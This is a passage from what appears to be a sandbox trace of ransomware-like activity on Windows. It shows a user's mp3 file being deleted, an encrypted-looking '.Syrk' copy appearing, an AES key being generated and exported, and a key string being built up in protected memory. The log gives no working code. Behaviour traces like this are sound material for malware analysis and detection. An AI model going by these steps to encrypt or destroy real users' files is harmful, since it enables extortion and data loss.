lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0243.235] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music" (normalized: "c:\\users\\keecfmwgj\\music")) returned 0x11 [0243.236] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music" (normalized: "c:\\users\\keecfmwgj\\music")) returned 0x11 [0243.236] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x19 [0243.236] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music", nBufferLength=0x19, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music", lpFilePart=0x0) returned 0x18 [0243.236] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn")) returned 0x10 [0243.236] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn")) returned 0x10 [0243.236] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x23 [0243.236] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn", nBufferLength=0x23, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn", lpFilePart=0x0) returned 0x22 [0243.236] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02")) returned 0x10 [0243.236] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02")) returned 0x10 [0243.237] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x31 [0243.237] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02", nBufferLength=0x31, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02", lpFilePart=0x0) returned 0x30 [0243.237] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\xLkRw" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\xlkrw")) returned 0x10 [0243.237] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\xLkRw" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\xlkrw")) returned 0x10 [0243.237] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\xLkRw", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x37 [0243.237] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\xLkRw", nBufferLength=0x37, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\xLkRw", lpFilePart=0x0) returned 0x36 [0243.237] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\xLkRw\\Wwq2Xl38E.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\xlkrw\\wwq2xl38e.mp3")) returned 0x20 [0243.237] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\xLkRw\\Wwq2Xl38E.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x45 [0243.237] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\xLkRw\\Wwq2Xl38E.mp3", nBufferLength=0x45, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\xLkRw\\Wwq2Xl38E.mp3", lpFilePart=0x0) returned 0x44 [0243.241] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\xLkRw\\Wwq2Xl38E.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x45 [0243.241] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\xLkRw\\Wwq2Xl38E.mp3", nBufferLength=0x45, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\xLkRw\\Wwq2Xl38E.mp3", lpFilePart=0x0) returned 0x44 [0243.241] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e56c) returned 1 [0243.241] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\xLkRw\\Wwq2Xl38E.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x45 [0243.241] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\xLkRw\\Wwq2Xl38E.mp3", nBufferLength=0x45, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\xLkRw\\Wwq2Xl38E.mp3", lpFilePart=0x0) returned 0x44 [0243.241] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\xLkRw\\Wwq2Xl38E.mp3\\*" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\xlkrw\\wwq2xl38e.mp3\\*"), lpFindFileData=0x5a2e31c | out: lpFindFileData=0x5a2e31c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0243.241] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e2dc) returned 1 [0243.241] CoTaskMemAlloc (cb=0x404) returned 0x5c98368 [0243.242] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x5c98368, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0243.242] CoTaskMemFree (pv=0x5c98368) [0243.244] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\xLkRw\\Wwq2Xl38E.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\xlkrw\\wwq2xl38e.mp3")) returned 0x20 [0243.244] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\xLkRw\\Wwq2Xl38E.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x45 [0243.244] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\xLkRw\\Wwq2Xl38E.mp3", nBufferLength=0x45, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\xLkRw\\Wwq2Xl38E.mp3", lpFilePart=0x0) returned 0x44 [0243.244] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e234) returned 1 [0243.244] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\xLkRw\\Wwq2Xl38E.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\xlkrw\\wwq2xl38e.mp3"), fInfoLevelId=0x0, lpFileInformation=0x2549e84 | out: lpFileInformation=0x2549e84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc9ac960, ftCreationTime.dwHighDateTime=0x1d99474, ftLastAccessTime.dwLowDateTime=0x2de32810, ftLastAccessTime.dwHighDateTime=0x1d999f1, ftLastWriteTime.dwLowDateTime=0x2de32810, ftLastWriteTime.dwHighDateTime=0x1d999f1, nFileSizeHigh=0x0, nFileSizeLow=0x16d79)) returned 1 [0243.244] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e230) returned 1 [0243.244] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\xLkRw\\Wwq2Xl38E.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\xlkrw\\wwq2xl38e.mp3")) returned 1 [0243.246] EtwEventActivityIdControl () returned 0x0 [0243.247] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0243.247] EtwEventActivityIdControl () returned 0x0 [0243.247] EtwEventActivityIdControl () returned 0x0 [0243.247] EtwEventActivityIdControl () returned 0x0 [0243.256] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\xLkRw\\Wwq2Xl38E.mp3.Syrk" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\xlkrw\\wwq2xl38e.mp3.syrk")) returned 0x20 [0243.257] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\xLkRw\\Wwq2Xl38E.mp3.Syrk" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\xlkrw\\wwq2xl38e.mp3.syrk")) returned 0x20 [0243.257] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\xLkRw\\Wwq2Xl38E.mp3.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0243.257] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\xLkRw\\Wwq2Xl38E.mp3.Syrk", nBufferLength=0x4a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\xLkRw\\Wwq2Xl38E.mp3.Syrk", lpFilePart=0x0) returned 0x49 [0243.257] EtwEventActivityIdControl () returned 0x0 [0243.257] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0243.258] EtwEventActivityIdControl () returned 0x0 [0243.258] EtwEventActivityIdControl () returned 0x0 [0243.258] EtwEventActivityIdControl () returned 0x0 [0243.262] EtwEventActivityIdControl () returned 0x0 [0243.262] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0243.274] EtwEventActivityIdControl () returned 0x0 [0243.274] EtwEventActivityIdControl () returned 0x0 [0243.274] EtwEventActivityIdControl () returned 0x0 [0243.279] EtwEventActivityIdControl () returned 0x0 [0243.280] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0243.280] EtwEventActivityIdControl () returned 0x0 [0243.280] EtwEventActivityIdControl () returned 0x0 [0243.280] EtwEventActivityIdControl () returned 0x0 [0243.284] EtwEventActivityIdControl () returned 0x0 [0243.284] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0243.285] EtwEventActivityIdControl () returned 0x0 [0243.285] EtwEventActivityIdControl () returned 0x0 [0243.285] EtwEventActivityIdControl () returned 0x0 [0243.308] EtwEventActivityIdControl () returned 0x0 [0243.308] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0243.308] EtwEventActivityIdControl () returned 0x0 [0243.308] EtwEventActivityIdControl () returned 0x0 [0243.308] EtwEventActivityIdControl () returned 0x0 [0243.312] EtwEventActivityIdControl () returned 0x0 [0243.316] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca4) returned 1 [0243.316] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\xLkRw\\Wwq2Xl38E.mp3.Syrk" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\xlkrw\\wwq2xl38e.mp3.syrk"), fInfoLevelId=0x0, lpFileInformation=0x235f558 | out: lpFileInformation=0x235f558*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcab0790, ftCreationTime.dwHighDateTime=0x1da3860, ftLastAccessTime.dwLowDateTime=0xcab0790, ftLastAccessTime.dwHighDateTime=0x1da3860, ftLastWriteTime.dwLowDateTime=0xcad68f0, ftLastWriteTime.dwHighDateTime=0x1da3860, nFileSizeHigh=0x0, nFileSizeLow=0x16d94)) returned 1 [0243.316] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca0) returned 1 [0243.317] GetConsoleOutputCP () returned 0x1b5 [0243.317] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0243.317] GetConsoleOutputCP () returned 0x1b5 [0243.318] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0243.318] GetConsoleOutputCP () returned 0x1b5 [0243.318] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0243.318] GetConsoleOutputCP () returned 0x1b5 [0243.318] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0243.318] GetConsoleOutputCP () returned 0x1b5 [0243.318] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0243.318] GetConsoleOutputCP () returned 0x1b5 [0243.319] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0243.319] GetConsoleOutputCP () returned 0x1b5 [0243.319] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0243.319] GetConsoleOutputCP () returned 0x1b5 [0243.319] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0243.319] GetConsoleOutputCP () returned 0x1b5 [0243.319] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0243.319] GetConsoleOutputCP () returned 0x1b5 [0243.320] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0243.320] GetConsoleOutputCP () returned 0x1b5 [0243.320] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0243.320] GetConsoleOutputCP () returned 0x1b5 [0243.320] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0243.320] GetConsoleOutputCP () returned 0x1b5 [0243.320] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0243.320] GetConsoleOutputCP () returned 0x1b5 [0243.320] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0243.321] GetConsoleOutputCP () returned 0x1b5 [0243.321] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0243.321] GetConsoleOutputCP () returned 0x1b5 [0243.321] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0243.321] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e528 | out: lpConsoleScreenBufferInfo=0x5a2e528) returned 1 [0243.321] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0243.322] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x2375710*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x2375710*, lpNumberOfCharsWritten=0x5a2e514*=0x4f) returned 1 [0243.323] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0243.324] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e514*=0x2) returned 1 [0243.324] EtwEventActivityIdControl () returned 0x0 [0243.324] EtwEventActivityIdControl () returned 0x0 [0243.325] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ebac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0243.325] EtwEventActivityIdControl () returned 0x0 [0243.325] EtwEventActivityIdControl () returned 0x0 [0243.325] EtwEventActivityIdControl () returned 0x0 [0243.327] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e804, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0243.328] EtwEventActivityIdControl () returned 0x0 [0243.328] EtwEventActivityIdControl () returned 0x0 [0243.328] EtwEventActivityIdControl () returned 0x0 [0243.330] CryptAcquireContextW (in: phProv=0x5a2e450, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e450*=0x373568) returned 1 [0243.331] CryptGenKey (in: hProv=0x373568, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e884 | out: phKey=0x5a2e884*=0x5c69240) returned 1 [0243.331] CryptContextAddRef (hProv=0x373568, pdwReserved=0x0, dwFlags=0x0) returned 1 [0243.331] CryptExportKey (in: hKey=0x5c69240, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e8c4 | out: pbData=0x0*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0243.331] CryptExportKey (in: hKey=0x5c69240, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x237d338, pdwDataLen=0x5a2e8c4 | out: pbData=0x237d338*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0243.332] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e4ac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0243.332] EtwEventActivityIdControl () returned 0x0 [0243.332] EtwEventActivityIdControl () returned 0x0 [0243.332] EtwEventActivityIdControl () returned 0x0 [0243.333] SysStringLen (param_1="") returned 0x8 [0243.333] SysStringLen (param_1="D") returned 0x8 [0243.333] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.333] SysStringLen (param_1="唻妑醃씁祔链卫舦") returned 0x8 [0243.333] SysStringLen (param_1="唻妑醃씁祔链卫舦") returned 0x8 [0243.333] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.334] SysStringLen (param_1="D7") returned 0x8 [0243.334] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.334] SysStringLen (param_1="⯏ᣱ狪똱밻ഷ뗳") returned 0x8 [0243.334] SysStringLen (param_1="⯏ᣱ狪똱밻ഷ뗳") returned 0x8 [0243.334] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.334] SysStringLen (param_1="D7w") returned 0x8 [0243.334] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.334] SysStringLen (param_1="䈝籧柗ጩ轍鞖뚄뮰") returned 0x8 [0243.335] SysStringLen (param_1="䈝籧柗ጩ轍鞖뚄뮰") returned 0x8 [0243.335] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.335] SysStringLen (param_1="D7wY") returned 0x8 [0243.335] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.335] SysStringLen (param_1="샱蛺㰲퐈睎Ｑꍹ莽") returned 0x8 [0243.335] SysStringLen (param_1="샱蛺㰲퐈睎Ｑꍹ莽") returned 0x8 [0243.335] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.335] SysStringLen (param_1="D7wYa") returned 0x8 [0243.335] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.335] SysStringLen (param_1="֕ᦁ禒鏩䭓┑羘") returned 0x8 [0243.335] SysStringLen (param_1="֕ᦁ禒鏩䭓┑羘") returned 0x8 [0243.335] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.335] SysStringLen (param_1="D7wYaH") returned 0x8 [0243.335] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.336] SysStringLen (param_1="ꬸ퓀✺뼝₠鍻唒ઝ") returned 0x8 [0243.336] SysStringLen (param_1="ꬸ퓀✺뼝₠鍻唒ઝ") returned 0x8 [0243.336] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.336] SysStringLen (param_1="D7wYaHM") returned 0x8 [0243.336] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.336] SysStringLen (param_1="ﾑ⡫쁖堭眧╉瘥瞆") returned 0x8 [0243.336] SysStringLen (param_1="ﾑ⡫쁖堭眧╉瘥瞆") returned 0x8 [0243.336] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.336] SysStringLen (param_1="D7wYaHMS") returned 0x8 [0243.336] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.336] SysStringLen (param_1="⣯陭쬐㠾겤ᖧ獓틄") returned 0x8 [0243.337] SysStringLen (param_1="⣯陭쬐㠾겤ᖧ獓틄") returned 0x8 [0243.337] SysStringLen (param_1="⣯陭쬐㠾겤ᖧ獓틄") returned 0x8 [0243.337] SysStringLen (param_1="⣯陭쬐㠾겤ᖧ獓틄") returned 0x10 [0243.337] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.337] SysStringLen (param_1="D7wYaHMSZ껸뱹苰❋ꏘ ῿") returned 0x10 [0243.337] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.338] SysStringLen (param_1="⣯陭쬐㠾겤ᖧ獓틄ᮌ⇎㯷郌䥄飀㱑") returned 0x10 [0243.338] SysStringLen (param_1="⣯陭쬐㠾겤ᖧ獓틄ᮌ⇎㯷郌䥄飀㱑") returned 0x10 [0243.338] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.338] SysStringLen (param_1="D7wYaHMSZ5뱹苰❋ꏘ ῿") returned 0x10 [0243.338] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.338] SysStringLen (param_1="⣯陭쬐㠾겤ᖧ獓틄ɇ燗볺⶞鼔瑤쒩⵱") returned 0x10 [0243.338] SysStringLen (param_1="⣯陭쬐㠾겤ᖧ獓틄ɇ燗볺⶞鼔瑤쒩⵱") returned 0x10 [0243.338] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.338] SysStringLen (param_1="D7wYaHMSZ5h苰❋ꏘ ῿") returned 0x10 [0243.338] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.338] SysStringLen (param_1="⣯陭쬐㠾겤ᖧ獓틄\糜즨㑝甘\㗖掖") returned 0x10 [0243.338] SysStringLen (param_1="⣯陭쬐㠾겤ᖧ獓틄\糜즨㑝甘\㗖掖") returned 0x10 [0243.338] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.338] SysStringLen (param_1="D7wYaHMSZ5ho❋ꏘ ῿") returned 0x10 [0243.339] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.339] SysStringLen (param_1="⣯陭쬐㠾겤ᖧ獓틄൲瘬䓛஑塷뷬㨍") returned 0x10 [0243.339] SysStringLen (param_1="⣯陭쬐㠾겤ᖧ獓틄൲瘬䓛஑塷뷬㨍") returned 0x10 [0243.339] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.339] SysStringLen (param_1="D7wYaHMSZ5honꏘ ῿") returned 0x10 [0243.339] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.339] SysStringLen (param_1="⣯陭쬐㠾겤ᖧ獓틄⤜䱱滻ꑘᴮ倬㤱쩪") returned 0x10 [0243.339] SysStringLen (param_1="⣯陭쬐㠾겤ᖧ獓틄⤜䱱滻ꑘᴮ倬㤱쩪") returned 0x10 [0243.339] SystemFunction041 (in: Memory=0x3c4e94, 